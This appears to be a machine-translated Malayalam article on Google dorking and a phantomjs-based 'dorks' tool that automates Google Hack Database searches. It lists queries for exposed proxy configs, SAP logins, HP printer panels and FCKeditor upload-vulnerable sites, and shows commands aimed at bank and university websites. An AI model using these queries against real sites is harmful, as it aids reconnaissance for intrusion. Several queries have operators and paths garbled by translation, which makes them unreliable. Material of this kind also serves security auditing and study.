    വെബ് റിസോഴ്‌സുമായി നേരിട്ട് ബന്ധമില്ലാത്ത വിവരങ്ങൾ, നെറ്റ്‌വർക്കിനെയോ മറ്റ് വെബ് ഇതര സേവനങ്ങളെയോ ബാധിക്കുന്നു
    ആന്തരിക നെറ്റ്‌വർക്കിനെക്കുറിച്ചുള്ള വിവരങ്ങൾ അടങ്ങിയ ഓട്ടോമാറ്റിക് പ്രോക്സി കോൺഫിഗറേഷൻ സ്ക്രിപ്റ്റുകൾ കണ്ടെത്തുക:
    inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl
    ലോഗിൻ പോർട്ടലുകൾ അടങ്ങിയ പേജുകൾ
    ലോഗിൻ ഫോമുകൾ അടങ്ങിയ പേജുകൾ
    saplogon വെബ് പേജുകൾ:
    intext:"2016 SAP AG. എല്ലാ അവകാശങ്ങളും നിക്ഷിപ്തം." തലക്കെട്ട്: "ലോഗിൻ"
    വിവിധ ഓൺലൈൻ ഉപകരണങ്ങൾ
    പ്രിന്ററുകൾ, റൂട്ടറുകൾ, നിരീക്ഷണ സംവിധാനങ്ങൾ മുതലായവ.
    പ്രിന്റർ കോൺഫിഗറേഷൻ പാനൽ കണ്ടെത്തുക:
    തലക്കെട്ട്:"hpലേസർജെറ്റ്"inurl:SSI/അംഗീകാരം/സെറ്റ്_കോൺഫിഗറേഷൻ_ഉപകരണ വിവരം.htm
    ഉപദേശങ്ങളും കേടുപാടുകളും
    ദുർബലമായ CMS പതിപ്പുകളിലെ വെബ്‌സൈറ്റുകൾ
    നിങ്ങൾക്ക് സെർവറിലേക്ക് ഒരു അനിയന്ത്രിതമായ ഫയൽ അപ്‌ലോഡ് ചെയ്യാൻ കഴിയുന്ന ദുർബലമായ പ്ലഗിനുകൾ കണ്ടെത്തുക:
    inurl:fckeditor -intext:"ConfigIsEnabled = False" intext:ConfigIsEnabled

    എല്ലാ ഇന്റർനെറ്റ് സൈറ്റുകളിലും തിരയുന്നതിലാണ് ഡോർക്കുകൾ കൂടുതൽ ശ്രദ്ധ കേന്ദ്രീകരിക്കുന്നത്. എന്നാൽ ഏതെങ്കിലും സൈറ്റിലോ സൈറ്റിലോ തിരയൽ സ്കോപ്പ് പരിമിതപ്പെടുത്തുന്നതിൽ നിന്ന് ഒന്നും നിങ്ങളെ തടയുന്നില്ല.
    ചോദ്യത്തിലേക്ക് "site:somesite.com" എന്ന കീവേഡ് ചേർത്ത് ഓരോ Google അന്വേഷണവും ഒരു നിർദ്ദിഷ്‌ട സൈറ്റിൽ ഫോക്കസ് ചെയ്യാൻ കഴിയും. ഈ കീവേഡ് ഏത് ഡോർക്കിലേക്കും ചേർക്കാവുന്നതാണ്.

    കേടുപാടുകൾക്കായുള്ള തിരയൽ ഓട്ടോമേറ്റ് ചെയ്യുന്നു
    ഒരു സെർച്ച് എഞ്ചിൻ (ഗൂഗിൾ) ഉപയോഗിച്ച് കേടുപാടുകൾക്കായുള്ള തിരയൽ ഓട്ടോമേറ്റ് ചെയ്യുന്നതും ഗൂഗിൾ ഹാക്ക് ഡാറ്റാബേസിനെ ആശ്രയിക്കുന്നതുമായ ഒരു ലളിതമായ യൂട്ടിലിറ്റി എഴുതാനുള്ള ആശയം ജനിച്ചത് ഇങ്ങനെയാണ്.

    phantomjs ഉപയോഗിച്ച് nodej-ൽ എഴുതിയ ഒരു സ്ക്രിപ്റ്റാണ് യൂട്ടിലിറ്റി. കൃത്യമായി പറഞ്ഞാൽ, സ്ക്രിപ്റ്റ് വ്യാഖ്യാനിക്കുന്നത് phantomjs തന്നെയാണ്.
    Phantomjs ഒരു GUI ഇല്ലാതെ, js കോഡ് ഉപയോഗിച്ച് നിയന്ത്രിക്കുന്നതും സൗകര്യപ്രദമായ API ഉള്ളതുമായ ഒരു പൂർണ്ണ വെബ് ബ്രൗസറാണ്.
    യൂട്ടിലിറ്റിക്ക് തികച്ചും മനസ്സിലാക്കാവുന്ന ഒരു പേര് ലഭിച്ചു - ഡോർക്സ്. ഇത് കമാൻഡ് ലൈനിൽ പ്രവർത്തിപ്പിക്കുന്നതിലൂടെ (ഓപ്‌ഷനുകളില്ലാതെ), ഉപയോഗത്തിന്റെ നിരവധി ഉദാഹരണങ്ങൾ ഉപയോഗിച്ച് ഞങ്ങൾക്ക് ഹ്രസ്വ സഹായം ലഭിക്കും:


    ചിത്രം 1 - പ്രധാന ഡോർക്ക് ഓപ്ഷനുകളുടെ പട്ടിക

    യൂട്ടിലിറ്റിയുടെ പൊതുവായ വാക്യഘടന ഇതാണ്: ഡോർക്ക് "കമാൻഡ്" "ഓപ്ഷൻ ലിസ്റ്റ്".
    എല്ലാ ഓപ്ഷനുകളുടെയും വിശദമായ വിവരണം പട്ടിക 4 ൽ അവതരിപ്പിച്ചിരിക്കുന്നു.

    പട്ടിക 4 - ഡോർക്സ് വാക്യഘടന

    ടീം
    ഓപ്ഷൻ
    വിവരണം
    ghdb
    -എൽ
    ഡോർക്ക് വിഭാഗങ്ങളുടെ അക്കമിട്ട ലിസ്റ്റ് Google ഹാക്ക് ഡാറ്റാബേസ് പ്രിന്റ് ചെയ്യുക
    -c "വിഭാഗം നമ്പർ അല്ലെങ്കിൽ പേര്"
    നമ്പർ അല്ലെങ്കിൽ പേര് പ്രകാരം നിർദ്ദിഷ്ട വിഭാഗത്തിന്റെ വാതിലുകൾ ലോഡ് ചെയ്യുക
    -q "വാക്യം"
    അഭ്യർത്ഥന പ്രകാരം കണ്ടെത്തിയ ഡോർക്കുകൾ ഡൗൺലോഡ് ചെയ്യുക
    -o "ഫയൽ"
    ഫലം ഒരു ഫയലിലേക്ക് സംരക്ഷിക്കുക (-c|-q ഓപ്‌ഷനുകൾക്കൊപ്പം മാത്രം)
    ഗൂഗിൾ
    -d "ഡോർക്ക്"
    ഒരു അനിയന്ത്രിതമായ ഡോർക്ക് സജ്ജീകരിക്കുക (ഓപ്ഷൻ നിരവധി തവണ ഉപയോഗിക്കാം, -D ഓപ്ഷനുമായി സംയോജിപ്പിക്കാൻ അനുവദനീയമാണ്)
    -ഡി "ഫയൽ"
    ഫയലിൽ നിന്ന് ഡോർക്ക് ഉപയോഗിക്കുക
    -s "സൈറ്റ്"
    സൈറ്റ് സജ്ജീകരിക്കുക (ഓപ്‌ഷൻ നിരവധി തവണ ഉപയോഗിക്കാം, -S-നുമായുള്ള കോമ്പിനേഷൻ അനുവദനീയമാണ്)
    -എസ് "ഫയൽ"
    ഒരു ഫയലിൽ നിന്നുള്ള സൈറ്റുകൾ ഉപയോഗിക്കുക (ഓരോ സൈറ്റിനും വേണ്ടി ഡോർക്കുകൾ സ്വതന്ത്രമായി തിരയപ്പെടും)
    -f "ഫിൽട്ടർ"
    അധിക കീവേഡുകൾ സജ്ജമാക്കുക (ഓരോ ഡോർക്കിലേക്കും ചേർക്കും)
    -t "മിഷകളുടെ എണ്ണം"
    ഗൂഗിളിലേക്കുള്ള അഭ്യർത്ഥനകൾക്കിടയിലുള്ള ഇടവേള
    -T "എം.എസ്. എണ്ണം"
    ഒരു ക്യാപ്‌ച നേരിട്ടാൽ കാലഹരണപ്പെടും
    -o "ഫയൽ"
    ഫലം ഒരു ഫയലിലേക്ക് സംരക്ഷിക്കുക (എന്തെങ്കിലും കണ്ടെത്തിയ ട്രാക്കുകൾ മാത്രമേ സംരക്ഷിക്കപ്പെടുകയുള്ളൂ)

    ghdb കമാൻഡ് ഉപയോഗിച്ച്, നിങ്ങൾക്ക് എക്‌സ്‌പ്ലോയിറ്റ്-ഡിബിയിൽ നിന്ന് എല്ലാ ഡോർക്കുകളും അനിയന്ത്രിതമായ അഭ്യർത്ഥനയിലൂടെ ലഭിക്കും, അല്ലെങ്കിൽ മുഴുവൻ വിഭാഗവും വ്യക്തമാക്കുക. നിങ്ങൾ വിഭാഗം 0 വ്യക്തമാക്കുകയാണെങ്കിൽ, മുഴുവൻ ഡാറ്റാബേസും അൺലോഡ് ചെയ്യപ്പെടും (ഏകദേശം 4.5 ആയിരം ഡോർക്കുകൾ).

    നിലവിൽ ലഭ്യമായ വിഭാഗങ്ങളുടെ പട്ടിക ചിത്രം 2 ൽ അവതരിപ്പിച്ചിരിക്കുന്നു.

    ചിത്രം 2 - ലഭ്യമായ GHDB ഡോർക്ക് വിഭാഗങ്ങളുടെ ലിസ്റ്റ്

    ഗൂഗിൾ ടീം ഓരോ ഡോർക്കിനെയും ഗൂഗിൾ സെർച്ച് എഞ്ചിനിലേക്ക് മാറ്റി പൊരുത്തങ്ങൾക്കായുള്ള ഫലം വിശകലനം ചെയ്യും. എന്തെങ്കിലും കണ്ടെത്തിയ പാതകൾ ഒരു ഫയലിൽ സംരക്ഷിക്കപ്പെടും.
    യൂട്ടിലിറ്റി വ്യത്യസ്ത തിരയൽ മോഡുകളെ പിന്തുണയ്ക്കുന്നു:
    1 ഡോർക്കും 1 സൈറ്റും;
    1 ഡോർക്കും നിരവധി സൈറ്റുകളും;
    1 സൈറ്റും നിരവധി ഡോർക്കുകളും;
    നിരവധി സൈറ്റുകളും നിരവധി ഡോർക്കുകളും;
    ഡോർക്കുകളുടെയും സൈറ്റുകളുടെയും ലിസ്റ്റ് ഒരു ആർഗ്യുമെന്റിലൂടെയോ ഫയലിലൂടെയോ വ്യക്തമാക്കാം.

    ജോലിയുടെ പ്രകടനം
    പിശക് സന്ദേശങ്ങൾക്കായി തിരയുന്നതിന്റെ ഉദാഹരണം ഉപയോഗിച്ച് എന്തെങ്കിലും കേടുപാടുകൾ കണ്ടെത്താൻ ശ്രമിക്കാം. കമാൻഡ് പ്രകാരം: dorks ghdb –c 7 –o errors.dorks "പിശക് സന്ദേശങ്ങൾ" വിഭാഗത്തിലെ അറിയപ്പെടുന്ന എല്ലാ ഡോർക്കുകളും ചിത്രം 3-ൽ കാണിച്ചിരിക്കുന്നതുപോലെ ലോഡ് ചെയ്യും.


    ചിത്രം 3 - "പിശക് സന്ദേശങ്ങൾ" വിഭാഗത്തിലെ അറിയപ്പെടുന്ന എല്ലാ ഡോർക്കുകളും ലോഡുചെയ്യുന്നു

    ഡോർക്കുകൾ ഡൗൺലോഡ് ചെയ്‌ത് ഒരു ഫയലിൽ സംരക്ഷിച്ചു. ഇപ്പോൾ അവശേഷിക്കുന്നത് ഏതെങ്കിലും സൈറ്റിൽ "സജ്ജീകരിക്കുക" മാത്രമാണ് (ചിത്രം 4 കാണുക).


    ചിത്രം 4 - Google കാഷെയിൽ താൽപ്പര്യമുള്ള സൈറ്റിന്റെ കേടുപാടുകൾക്കായി തിരയുക

    കുറച്ച് സമയത്തിന് ശേഷം, പഠനത്തിന് കീഴിലുള്ള സൈറ്റിൽ പിശകുകൾ അടങ്ങിയ നിരവധി പേജുകൾ കണ്ടെത്തി (ചിത്രം 5 കാണുക).


    ചിത്രം 5 - പിശക് സന്ദേശങ്ങൾ കണ്ടെത്തി

    തൽഫലമായി, result.txt ഫയലിൽ പിശകിലേക്ക് നയിക്കുന്ന ഡോർക്കുകളുടെ പൂർണ്ണമായ ലിസ്റ്റ് നമുക്ക് ലഭിക്കും.
    സൈറ്റ് പിശകുകൾക്കായി തിരയുന്നതിന്റെ ഫലം ചിത്രം 6 കാണിക്കുന്നു.

    ചിത്രം 6 - പിശക് തിരയൽ ഫലം

    ഈ ഡോർക്കിനായുള്ള കാഷെയിൽ, സ്ക്രിപ്റ്റുകളുടെ സമ്പൂർണ്ണ പാതകൾ, സൈറ്റ് ഉള്ളടക്ക മാനേജ്മെന്റ് സിസ്റ്റം, ഡാറ്റാബേസ് തരം എന്നിവ വെളിപ്പെടുത്തുന്ന ഒരു പൂർണ്ണമായ ബാക്ക്ട്രെയിസ് പ്രദർശിപ്പിക്കും (ചിത്രം 7 കാണുക).


    ചിത്രം 7 - സൈറ്റ് രൂപകൽപ്പനയെക്കുറിച്ചുള്ള വിവരങ്ങളുടെ വെളിപ്പെടുത്തൽ

    എന്നിരുന്നാലും, GHDB-യിൽ നിന്നുള്ള എല്ലാ ഡോർക്കുകളും യഥാർത്ഥ ഫലങ്ങൾ നൽകുന്നില്ല എന്നത് പരിഗണിക്കേണ്ടതാണ്. കൂടാതെ, Google ഒരു കൃത്യമായ പൊരുത്തം കണ്ടെത്തുകയും സമാനമായ ഫലം കാണിക്കുകയും ചെയ്തേക്കില്ല.

    ഈ സാഹചര്യത്തിൽ, ഡോർക്കുകളുടെ നിങ്ങളുടെ സ്വകാര്യ ലിസ്റ്റ് ഉപയോഗിക്കുന്നതാണ് നല്ലത്. ഉദാഹരണത്തിന്, "അസാധാരണ" വിപുലീകരണങ്ങളുള്ള ഫയലുകൾക്കായി തിരയുന്നത് എല്ലായ്പ്പോഴും മൂല്യവത്താണ്, അവയുടെ ഉദാഹരണങ്ങൾ ചിത്രം 8 ൽ കാണിച്ചിരിക്കുന്നു.


    ചിത്രം 8 - ഒരു സാധാരണ വെബ് റിസോഴ്സിന് സാധാരണമല്ലാത്ത ഫയൽ എക്സ്റ്റൻഷനുകളുടെ ലിസ്റ്റ്

    തൽഫലമായി, dorks google –D extensions.txt –f ബാങ്ക് കമാൻഡ് ഉപയോഗിച്ച്, ആദ്യ അഭ്യർത്ഥനയിൽ നിന്ന് Google "അസാധാരണ" ഫയൽ വിപുലീകരണങ്ങളുള്ള സൈറ്റുകൾ തിരികെ നൽകാൻ തുടങ്ങുന്നു (ചിത്രം 9 കാണുക).


    ചിത്രം 9 - ബാങ്കിംഗ് വെബ്‌സൈറ്റുകളിൽ "മോശം" ഫയൽ തരങ്ങൾക്കായി തിരയുക

    32 വാക്കുകളിൽ കൂടുതൽ ദൈർഘ്യമുള്ള ചോദ്യങ്ങൾ ഗൂഗിൾ സ്വീകരിക്കുന്നില്ലെന്നത് ഓർമിക്കേണ്ടതാണ്.

    dorks google –d intext എന്ന കമാൻഡ് ഉപയോഗിച്ച്:”പിശക്|മുന്നറിയിപ്പ്|അറിയിപ്പ്|വാക്യഘടന” –f യൂണിവേഴ്സിറ്റി
    വിദ്യാഭ്യാസ വെബ്‌സൈറ്റുകളിൽ നിങ്ങൾക്ക് PHP ഇന്റർപ്രെറ്റർ പിശകുകൾക്കായി നോക്കാം (ചിത്രം 10 കാണുക).


    ചിത്രം 10 - PHP റൺടൈം പിശകുകൾ കണ്ടെത്തുന്നു

    ചിലപ്പോൾ ഒന്നോ രണ്ടോ വിഭാഗം ഡോർക്കുകൾ ഉപയോഗിക്കുന്നത് സൗകര്യപ്രദമല്ല.
    ഉദാഹരണത്തിന്, സൈറ്റ് വേർഡ്പ്രസ്സ് എഞ്ചിനിലാണ് പ്രവർത്തിക്കുന്നതെന്ന് അറിയാമെങ്കിൽ, നമുക്ക് വേർഡ്പ്രസ്സ് നിർദ്ദിഷ്ട മൊഡ്യൂളുകൾ ആവശ്യമാണ്. ഈ സാഹചര്യത്തിൽ, Google Hack Database തിരയൽ ഉപയോഗിക്കുന്നത് സൗകര്യപ്രദമാണ്. ചിത്രം 11-ൽ കാണിച്ചിരിക്കുന്നതുപോലെ, dorks ghdb –q wordpress –o wordpress_dorks.txt എന്ന കമാൻഡ് Wordpress-ൽ നിന്ന് എല്ലാ ഡോർക്കുകളും ഡൗൺലോഡ് ചെയ്യും:


    ചിത്രം 11 - വേർഡ്പ്രസ്സുമായി ബന്ധപ്പെട്ട ഡോർക്കുകൾക്കായി തിരയുക

    നമുക്ക് വീണ്ടും ബാങ്കുകളിലേക്ക് മടങ്ങാം, Wordpress-മായി ബന്ധപ്പെട്ട രസകരമായ എന്തെങ്കിലും കണ്ടെത്താൻ ശ്രമിക്കുന്നതിന് dorks google –D wordpress_dords.txt –f bank എന്ന കമാൻഡ് ഉപയോഗിക്കുക (ചിത്രം 12 കാണുക).


    ചിത്രം 12 - വേർഡ്പ്രസ്സ് കേടുപാടുകൾക്കായി തിരയുക

    ഗൂഗിൾ ഹാക്ക് ഡാറ്റാബേസിലെ തിരച്ചിൽ 4 പ്രതീകങ്ങളിൽ താഴെയുള്ള വാക്കുകൾ സ്വീകരിക്കുന്നില്ല എന്നത് ശ്രദ്ധിക്കേണ്ടതാണ്. ഉദാഹരണത്തിന്, സൈറ്റിന്റെ CMS അറിയില്ലെങ്കിലും ഭാഷ അറിയാമെങ്കിൽ - PHP. ഈ സാഹചര്യത്തിൽ, പൈപ്പും സിസ്റ്റം സെർച്ച് യൂട്ടിലിറ്റി ഡോർക്കുകളും ഉപയോഗിച്ച് നിങ്ങൾക്ക് ആവശ്യമുള്ളത് സ്വമേധയാ ഫിൽട്ടർ ചെയ്യാൻ കഴിയും -c എല്ലാം | findstr /I php > php_dorks.txt (ചിത്രം 13 കാണുക):


    ചിത്രം 13 - PHP പരാമർശിച്ചിരിക്കുന്ന എല്ലാ ഡോർക്കുകളിലും തിരയുക

    ഒരു സെർച്ച് എഞ്ചിനിൽ കേടുപാടുകൾ അല്ലെങ്കിൽ ചില സെൻസിറ്റീവ് വിവരങ്ങൾക്കായി തിരയുന്നത് ഈ സൈറ്റിൽ കാര്യമായ സൂചിക ഉണ്ടെങ്കിൽ മാത്രമേ നടത്താവൂ. ഉദാഹരണത്തിന്, ഒരു സൈറ്റിൽ 10-15 പേജുകൾ ഇൻഡെക്‌സ് ചെയ്‌തിട്ടുണ്ടെങ്കിൽ, ഈ രീതിയിൽ എന്തെങ്കിലും തിരയുന്നത് മണ്ടത്തരമാണ്. സൂചിക വലുപ്പം പരിശോധിക്കുന്നത് എളുപ്പമാണ് - Google തിരയൽ ബാറിൽ "site:somesite.com" നൽകുക. അപര്യാപ്തമായ സൂചികയുള്ള ഒരു സൈറ്റിന്റെ ഉദാഹരണം ചിത്രം 14-ൽ കാണിച്ചിരിക്കുന്നു.


    ചിത്രം 14 - സൈറ്റ് സൂചിക വലുപ്പം പരിശോധിക്കുന്നു

    ഇപ്പോൾ അസുഖകരമായ കാര്യങ്ങളെക്കുറിച്ച്... കാലാകാലങ്ങളിൽ ഗൂഗിൾ ഒരു ക്യാപ്‌ച അഭ്യർത്ഥിച്ചേക്കാം - അതിനെക്കുറിച്ച് നിങ്ങൾക്ക് ഒന്നും ചെയ്യാൻ കഴിയില്ല - നിങ്ങൾ അത് നൽകേണ്ടിവരും. ഉദാഹരണത്തിന്, "പിശക് സന്ദേശങ്ങൾ" വിഭാഗത്തിലൂടെ (90 ഡോർക്കുകൾ) തിരയുമ്പോൾ, ക്യാപ്ച ഒരിക്കൽ മാത്രം പ്രത്യക്ഷപ്പെട്ടു.

    http, സോക്സ് ഇന്റർഫേസ് എന്നിവ വഴി ഒരു പ്രോക്സി വഴിയുള്ള പ്രവർത്തനത്തെ phantomjs പിന്തുണയ്ക്കുന്നു എന്നത് കൂട്ടിച്ചേർക്കേണ്ടതാണ്. പ്രോക്‌സി മോഡ് പ്രവർത്തനക്ഷമമാക്കാൻ, നിങ്ങൾ dorks.bat അല്ലെങ്കിൽ dorks.sh-ൽ അനുബന്ധ വരി അൺകമന്റ് ചെയ്യേണ്ടതുണ്ട്.

    ഉപകരണം സോഴ്സ് കോഡായി ലഭ്യമാണ്